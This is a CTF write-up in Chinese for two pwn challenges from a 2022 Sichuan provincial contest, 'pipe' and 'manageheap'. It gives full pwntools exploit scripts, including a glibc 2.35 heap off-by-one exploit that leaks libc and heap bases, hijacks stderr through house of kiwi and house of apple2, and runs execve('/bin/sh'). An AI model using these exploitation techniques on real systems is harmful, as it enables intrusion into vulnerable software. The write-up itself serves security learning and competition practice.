2022年"深信服"杯-四川省赛-PWN-WP

第一次参加省赛,而且状态不是很好。一题3血一题2血,中规中矩的成绩吧。不过可惜的是和一等奖无缘了

pipe

分析

开幕雷击。考虑思路为在./ctf.sh中写入/bin/sh来getshell

1668262407288.png

然后简单回溯一下写入过程:

  • 最开始的时候创建一个./ctf.sh
1668262727091.png
  • /bin/sh写入buffer
1668262660790.png
  • 将buffer写入./ctf.sh
1668262615222.png
  • 触发后门

exp

from pwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'

port = int(sys.argv[1])
if port == 0:
	p = process('./pipe')
else:
	p = remote('172.16.159.59', port)

sla = lambda x,y : p.sendlineafter(x,y)
sa  = lambda x,y : p.sendafter(x,y)
ru  = lambda x   : p.recvuntil(x)

def g(arg=''):
	gdb.attach(p, arg)
	raw_input()

def choice(idx):
	sla('cmd>>>', str(idx))

sla('path>', './ctf.sh')
choice(2)
sla('size>', '10')
sla('put>', '/bin/sh')

choice(5)
choice(6)

p.interactive()

manageheap

分析

2.35下的堆题,洞在修改堆块的功能里,可以off by one(实际上是溢出8bytes)

1668261344195.png

add的时候先开了一个0x30的chunk来管理一个major,结构体大概如下:

struct manageHeap{
	char name[0x10];
    intprt_t *data;
    int data_len;
};

且最大只能申请到0x290的chunk。

1668261477937.png

由于读写都是从0x31的堆块上获取的,所以利用off by one造一个overlap,通过不断释放和申请chunk A,修改被重叠的chunk B中的data指针,就能达到任意地址读写了。(造overlap时是partial overwrite了一个data指针,所以远程是1/16的概率打通,本地调试时可以先关掉alsr)

leak堆基址很简单,但是leak libc基址就有点被限制。因为最大只能申请到0x290,不足以直接绕过tcache bin,且堆块限制了7个,也没法正常填满tcache bin来进unsorted bin。所以这里我还打了一次size,让一个chunk的大小变成能直接进入unsorted bin的大小。

而且由于这题无法从main退出,也无exit_exit是不会触发__IO_flush_all_lockp的),所以考虑用house of kiwi,通过__malloc_assert来劫持控制流。

我这里是打的stderr->_IO_file_xsputn,走house of apple2这条链子,然后由于没开沙箱,所以简单syscall调用一下execve('/bin/sh', 0, 0)。(不用system是因为栈大小不好预留)

至于为什么打__malloc_assert也能稳定触发stderr->_IO_file_xsputn,可以参考一下源码:

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

这里在__fxprintf内部调用的是stderr->_IO_file_xsputn,且此方法应该能适用于接下来libc-2.36里删除了fflush(stderr)后的__malloc_assert,而且劫持stderr,一般情况下不会出问题,比劫持stdout要稳定。

exp

from pwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'

port = int(sys.argv[1])
if port == 0:
	p = process('./manageheap')
else:
	p = remote('172.16.159.59', port)

elf = ELF('./manageheap')
libc = elf.libc

sla = lambda x,y : p.sendlineafter(x,y)
sa  = lambda x,y : p.sendafter(x,y)
ru  = lambda x   : p.recvuntil(x)

def g(arg=''):
	gdb.attach(p, arg)
	raw_input()

def choice(idx):
	sla('ice: ', str(idx))

def add(num, name='kotori', content='saoe'):
	choice(1)
	sla('ber:', str(num))
	sa('name:', name)
	sa('> ', content)

def delete(idx):
	choice(2)
	sla('idx:', str(idx))

def show(idx):
	choice(3)
	sla('idx:', str(idx))

def edit(idx, buf, content):
	choice(4)
	sla('idx:', str(idx))
	sa('id:', buf)
	p.send(content)

add(0x68//8) # 0

add(0x28//8) # 1
add(0x200//8) # 2
add(0x200//8) # 3

delete(0)
pay = p64(0xbaadf00d)*(0x68//8)
add(0x68//8, 'kotori', pay) # 0

edit(0, p64(0x31), p64(0x31+0x30))
delete(1)
add((0x28)//8) # 1

pay = b'a'*0x28 + p64(0x31) + b'a'*0x10 + b'\xc0\x93' # partial overwrite
add((0x58)//8, 'kotori', pay) # 4

edit(1, p64(0x211), p64(0x211+0x30+0x210))
delete(2) # unsorted
delete(4)

pay = b'a'*0x28 + p64(0x31) + b'a'*0x10 + b'\xd0'
add((0x58)//8, 'kotori', pay) # 4
show(1)

ru('ber: ')
libcbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x219ce0
print(hex(libcbase))

delete(4)
pay = b'a'*0x28 + p64(0x31) + b'd'*0x10 + b'\xa0'
add((0x58)//8, 'kotori', pay) # 2
show(1)

ru('a'*0x10)
heapbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x3d0
print(hex(heapbase))

# stderr -> _IO_file_xsputn

stderr = libcbase + 0x21a6a0
_wfile_jumps = libcbase + 0x2160c0 # _IO_wfile_overflow
setcontext = libcbase + libc.symbols['setcontext']
# sys = libcbase + libc.symbols['system']
ret = libcbase + 0x000000000002a3e5 + 1
pop_rax = libcbase + 0x0000000000045eb0 # pop rax ; ret
syscall = libcbase + 0x0000000000029db4 # syscall

pay = b'/bin/sh\x00'
pay = pay.ljust(0x68, b'\x00')
pay += p64(heapbase+0x460) # rdi
pay = pay.ljust(0xa0, b'\x00')
pay += p64(heapbase+0x880) # rsp
pay += p64(ret) # rcx -> rip
pay = pay.ljust(0xe0, b'\x00')
pay += p64(heapbase+0x880)
add((0x200//8), 'kotori', pay) # 5 (0x460) # wide_data & SigreturnFrame
pay = p64(pop_rax) + p64(59) + p64(syscall)
pay = pay.ljust(0x68, b'\x00')
pay += p64(setcontext+61)
add((0x200//8), 'kotori', pay) # 6 (0x880) # wide_data_vtable & rop

delete(2)
pay = b'a'*0x28 + p64(0x31) + b'd'*0x10 + p64(stderr+0xd8) + p64(0xff0)
add((0x58)//8, 'kotori', pay) # 2

# g()
edit(1, p64(libcbase+0x216600), p64(_wfile_jumps-0x20)) # attack vtable

delete(2)
pay = b'a'*0x28 + p64(0x31) + b'd'*0x10 + p64(stderr) + p64(0xff0)
add((0x58)//8, 'kotori', pay) # 2

edit(1, p64(libcbase+0x2198a0), p64(heapbase+0x460)) # attack _wide_data

delete(2)
pay = b'a'*0x28 + p64(0x31) + b'd'*0x10 + p64(stderr) + p64(0xff0)
add((0x58)//8, 'kotori', pay) # 2

edit(1, p64(0xfbad2087), p64(0)) # attack _flags

delete(2)
pay = b'a'*0x28 + p64(0x31) + b'd'*0x10 + p64(heapbase+0xa80) + p64(0xff0)
add((0x58)//8, 'kotori', pay) # 2

edit(1, p64(0x20581), p64(0x80)) # attack top_size

delete(2)

choice(1)
sla('number:', '64')

p.interactive()